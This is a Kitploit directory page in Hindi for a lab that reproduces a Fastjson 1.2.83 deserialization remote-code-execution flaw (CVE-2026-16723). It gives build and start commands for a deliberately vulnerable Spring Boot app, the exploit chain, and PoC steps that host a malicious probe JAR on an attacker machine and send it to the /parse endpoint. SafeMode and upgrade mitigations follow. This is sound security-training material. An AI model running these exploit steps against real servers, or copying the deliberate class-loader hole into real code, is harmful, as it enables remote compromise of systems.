Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
fastjson-rce-lab — Fastjson 1.2.83 RCE 靶场环境 (CVE-2026-16723) | Kitploit
उपकरण/GitHubGitHub/why-success/fastjson-rce-lab
Vulnerability AnalysisWeb Application ExploitationCTFLearning & EducationLabs & Practice
GitHubwhy-success/fastjson-rce-lab

fastjson-rce-lab

Fastjson 1.2.83 RCE 靶场环境 (CVE-2026-16723)

रिपॉजिटरी देखें
323 दिन पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

Fastjson 1.2.83 RCE लैब वातावरण (CVE-2026-16723)

अस्वीकरण: यह लैब केवल अधिकृत वातावरण में सुरक्षा अनुसंधान, शैक्षिक प्रदर्शन और रक्षा निर्माण के लिए है। बिना प्राधिकरण के लक्ष्यों का परीक्षण करना अवैध हो सकता है; उपयोग के परिणामों की जिम्मेदारी स्वयं उपयोगकर्ता की होगी।

भेद्यता अवलोकन

आइटमविवरण
CVECVE-2026-16723 (CVSS 9.0)
प्रभावित संस्करणFastjson 1.2.68 ~ 1.2.83
भेद्यता प्रकारडीसीरियलाइज़ेशन रिमोट कोड एक्ज़ीक्यूशन (RCE)
मुख्य विशेषताGadget-free (किसी भी तृतीय-पक्ष लाइब्रेरी पर निर्भर नहीं)
पूर्ण RCE शर्तेंJDK 8 + Spring Boot Fat-JAR + SafeMode बंद

लैब वातावरण विवरण

  • Fastjson 1.2.83

    • SafeMode बंद (डिफ़ॉल्ट स्थिति)
  • Spring Boot fat-JAR पैकेजिंग (इसमें LaunchedURLClassLoader शामिल है, जो एक्सप्लॉइट चेन के लिए आवश्यक घटक है)

  • महत्वपूर्ण पंक्ति ठीक की गई: ParseController JSON.parse() को कॉल करने से पहले थ्रेड ClassLoader को LaunchedURLClassLoader में बदल देता है (Thread.currentThread().setContextClassLoader(ParserConfig.class.getClassLoader())); यह @JSONType प्रोबिंग पथ द्वारा दूरस्थ रूप से क्लास लोड करने की आवश्यक शर्त है

  • दो पार्सिंग एंडपॉइंट उपलब्ध कराता है: /parse (JSON.parse) और /parseObject (JSON.parseObject)

पर्यावरण आवश्यकताएँ

  • JDK 8 (पूर्ण RCE के लिए JDK 8 अनिवार्य है; JDK 9+ केवल SSRF कर सकता है, पूर्ण RCE नहीं)
  • ऑपरेटिंग सिस्टम: Windows / Linux / UOS / macOS सभी समर्थित
  • मेमोरी: न्यूनतम 256MB खाली

निर्माण

स्रोत कोड से fat-JAR बनाने के लिए (JDK 8 + Maven आवश्यक):

root@kitploit:~
git clone https://github.com/why-success/fastjson-rce-lab.git
cd fastjson-rce-lab
mvn clean package -DskipTests

निर्माण का आउटपुट target/fastjson-rce-lab.jar में मिलेगा।

यदि Maven नहीं है, तो प्रोजेक्ट के साथ आने वाले Maven Wrapper का भी उपयोग कर सकते हैं (mvnw पहले से कॉन्फ़िगर करना आवश्यक है)।

त्वरित प्रारंभ

Windows

root@kitploit:~
# start.bat पर डबल-क्लिक करें
# या कमांड लाइन से
java -Xmx256m -Xms64m -XX:MaxMetaspaceSize=128m -XX:+UseSerialGC -jar target\fastjson-rce-lab.jar --server.port=18080

Linux

root@kitploit:~
chmod +x start.sh
./start.sh

# या मैन्युअल रूप से प्रारंभ करें
ulimit -n 65536
java -Xmx256m -Xms64m -XX:MaxMetaspaceSize=128m -XX:+UseSerialGC -jar target/fastjson-rce-lab.jar --server.port=18080

--server.port=18080 के बारे में: पर्यावरण में SERVER__PORT जैसे पर्यावरण चर मौजूद हो सकते हैं जो application.properties में पोर्ट कॉन्फ़िगरेशन को ओवरराइड कर देते हैं; कमांड-लाइन पैरामीटर के ज़रिए स्पष्ट रूप से निर्दिष्ट करने पर पोर्ट सही रहता है (कमांड-लाइन पैरामीटर की प्राथमिकता सबसे अधिक होती है)।

JVM पैरामीटर के बारे में: -Xmx256m -XX:+UseSerialGC कम मेमोरी वाली वर्चुअल मशीनों (जैसे Kali 2-4G) पर सामान्य रूप से चलाने के लिए है, ताकि JVM प्रारंभ होते समय OOM से बचा जा सके। यदि मशीन में पर्याप्त मेमोरी है तो इन्हें हटाया जा सकता है।

स्टार्टअप सत्यापन

root@kitploit:~
curl http://127.0.0.1:18080/status

अपेक्षित प्रतिक्रिया:

root@kitploit:~
{
  "fastjsonVersion": "1.2.83",
  "safeMode": false,
  "autoTypeSupport": false,
  "vulnerable": true,
  "javaVersion": "1.8.0_xxx"
}

safeMode: false और vulnerable: true होने का अर्थ है कि यह भेद्य अवस्था में है।

एंडपॉइंट विवरण

भेद्यता सिद्धांत

root@kitploit:~
1. हमलावर विशेष रूप से तैयार JSON भेजता है (@type jar:http संसाधन पथ की ओर इंगित करता है)
2. Fastjson की checkAutoType() typeName को संसाधन पथ "typeName.replace('.', '/') + .class" में बदलकर प्रोब करती है
3. getResourceAsStream() LaunchedURLClassLoader को ट्रिगर करता है → दूरस्थ JAR लाने के लिए HTTP अनुरोध भेजा जाता है
4. ASM बाइटकोड स्कैन करता है, @JSONType एनोटेशन मिलता है → इसे विश्वसनीय संकेत माना जाता है
5. खतरनाक बेस क्लास की जाँच को छोड़ देता है → loadClass() → defineClass()
6. <clinit> स्टैटिक इनिशियलाइज़ेशन ब्लॉक ट्रिगर होता है → RCE

लैब में महत्वपूर्ण कोड

root@kitploit:~
// ParseController.java — /parse एंडपॉइंट
@PostMapping("/parse")
public Map<String, Object> parse(@RequestBody String body) {
    // ⚠️ यह पंक्ति महत्वपूर्ण है: LaunchedURLClassLoader पर स्विच करें
    Thread.currentThread().setContextClassLoader(ParserConfig.class.getClassLoader());
    Object obj = JSON.parse(body);
    // ...
}

इस setContextClassLoader पंक्ति के बिना, Fastjson सिस्टम डिफ़ॉल्ट AppClassLoader का उपयोग करता है और jar:http:// प्रोटोकॉल के माध्यम से दूरस्थ क्लास लोड नहीं कर सकता।

एक्सप्लॉइट पुनरुत्पादन

चरण 1: PoC टूल प्राप्त करें

root@kitploit:~
git clone https://github.com/0x7eTeam/fastjson-1.2.83-rce.git
cd fastjson-1.2.83-rce

चरण 2: GenProbe.java संशोधित करें (महत्वपूर्ण)

रिपॉजिटरी के साथ आने वाले poc/GenProbe.java में दो संगतता समस्याएँ ठीक की गई हैं:

  1. हार्डकोडेड /bin/bash -c → सामान्य Runtime.exec(String) संस्करण में बदला गया (Windows/Linux दोनों पर काम करता है)
  2. क्रॉस-प्लेटफ़ॉर्म कमांड प्रारूप: Windows लैब में "cmd /c xxx" उपयोग करें, Linux लैब में सीधे "touch /tmp/pwned" या "bash -c xxx" उपयोग करें

चरण 3: probe.jar बनाएँ और होस्ट करें

पूर्ण हमले की प्रक्रिया 靶场测试完整指南.md में देखें (उसी निर्देशिका में), जिसमें शामिल हैं:

  • पूर्ण सात-चरणीय हमला प्रक्रिया
  • सभी प्लेटफ़ॉर्मों के लिए कमांड त्वरित संदर्भ तालिका
  • 6 प्रकार की सामान्य त्रुटियाँ और उनकी समस्या निवारण विधियाँ

त्वरित सत्यापन (Windows लैब उदाहरण)

root@kitploit:~
# हमलावर मशीन पर (या Java कंपाइल करने में सक्षम मशीन पर)
cd fastjson-1.2.83-rce
javac -encoding UTF-8 -cp "poc/lib/*" -d poc/classes poc/GenProbe.java
java -cp "poc/classes;poc/lib/asm-9.6.jar;poc/lib/fastjson-1.2.83.jar" GenProbe KALI_IP 19090 "cmd /c calc"

# poc/www/probe को Kali पर कॉपी करें
# Kali पर HTTP होस्टिंग प्रारंभ करें
cd poc/www && python3 -m http.server 19090

# लैब पुनः प्रारंभ करें → Kali के नए टर्मिनल में एक्सप्लॉइट चलाएँ
python3 poc/exp.py -u http://靶场IP:18080/parse -poc http://KALI_IP:19090/probe

समाधान

आपातकालीन समाधान: SafeMode सक्षम करें

root@kitploit:~
# JVM स्टार्टअप पैरामीटर
-Dfastjson.parser.safeMode=true
root@kitploit:~
// कोड कॉन्फ़िगरेशन
ParserConfig.getGlobalInstance().setSafeMode(true);

दीर्घकालिक समाधान: Fastjson 2.x पर माइग्रेट करें

root@kitploit:~
<dependency>
    <groupId>com.alibaba.fastjson2</groupId>
    <artifactId>fastjson2</artifactId>
    <version>2.x</version>
</dependency>

Fastjson2 इस भेद्यता से प्रभावित नहीं है।

अन्य उपाय

  • com.alibaba:fastjson:1.2.83_noneautotype बिल्ड संस्करण का उपयोग करें
  • एप्लिकेशन सर्वर के आउटबाउंड HTTP ट्रैफ़िक को ब्लॉक करें
  • सभी Fastjson 1.x डिपेंडेंसी इंस्टेंस की जाँच करें

तकनीकी संदर्भ

  • Kirill Firsov (@k_firsov) द्वारा खुलासा: https://x.com/k_firsov/status/2078872293745570032
  • PoC प्रोजेक्ट: https://github.com/0x7eTeam/fastjson-1.2.83-rce
  • Alibaba सुरक्षा बुलेटिन (2026-07-21)
  • Tencent Cloud सुरक्षा अधिसूचना (2026-07-20)
टूल डाउनलोड करें
विधिपथविवरण
GET/लैब होमपेज (HTML)
GET/statusFastjson कॉन्फ़िगरेशन स्थिति (JSON)
POST/parseJSON.parse(body) — मुख्य भेद्यता ट्रिगर एंडपॉइंट
POST/parseObjectJSON.parseObject(body) — बैकअप ट्रिगर एंडपॉइंट